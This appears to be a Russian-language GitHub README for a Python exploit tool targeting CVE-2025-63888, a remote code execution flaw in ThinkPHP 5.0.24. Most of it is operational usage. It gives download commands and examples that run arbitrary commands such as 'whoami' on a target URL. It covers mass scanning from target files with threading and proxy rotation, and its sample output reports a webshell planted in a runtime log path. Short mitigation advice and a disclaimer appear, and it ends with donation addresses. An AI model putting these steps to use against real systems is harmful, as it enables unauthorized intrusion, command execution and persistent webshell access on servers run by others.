
Инструмент для исследований безопасности для обнаружения и тестирования CVE-2025-63888 (уязвимость RCE File Inclusion в ThinkPHP 5.0.24)
Инструмент для исследования безопасности, предназначенный для обнаружения и тестирования уязвимости CVE-2025-63888 в ThinkPHP 5.0.24, которая позволяет удаленно выполнять код через включение файлов.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
CVE-2025-63888 — это критическая уязвимость удаленного выполнения кода в ThinkPHP 5.0.24. Уязвимость находится в функции read, расположенной в thinkphp/library/think/template/driver/File.php, что позволяет злоумышленникам выполнять произвольный код через атаки включения файлов путем манипуляции путем шаблона в функции view().
CVSS Score: 9.8 (Критический)
Затронутая версия: ThinkPHP 5.0.24 (точная версия)
метод
thinkphp/library/think/template/driver/File.phpread()# Clone the repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x cve_2025_63888_exploit.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_63888_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url Целевой URL
-f, --file Файл, содержащий целевые URL (по одному на строку)
-c, --command Команда для выполнения (по умолчанию: id)
-t, --threads Количество потоков (по умолчанию: 1)
-o, --output Выходной файл (по умолчанию: uknf_results.json)
-v, --verbose Включить подробное логирование
--proxy URL прокси (например, http://127.0.0.1:8080)
--proxy-list Файл, содержащий URL прокси (по одному на строку)
Скрипт генерирует JSON-файл с подробными результатами:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view()Если вы используете ThinkPHP 5.0.24:
Немедленно обновитесь:
Реализуйте проверку пути:
view()../, ..)Исправления на уровне кода:
realpath(), чтобы убедиться, что файлы находятся в разрешенных каталогахpython3 cve_2025_63888_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
Вклад приветствуется! Пожалуйста, не стесняйтесь отправлять пул-реквесты.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если вы столкнулись с какими-либо проблемами или у вас есть предложения, пожалуйста, создайте issue на GitHub.
Этот проект лицензирован по лицензии MIT — подробнее см. в файле LICENSE.
Если вы нашли этот инструмент полезным, пожалуйста, поставьте ему звезду на GitHub!
Этот инструмент предоставляется только для образовательных и авторизованных целей тестирования безопасности. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием любых систем.
Если вы нашли этот инструмент полезным и хотите поддержать проект:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Спасибо за вашу поддержку! 🙏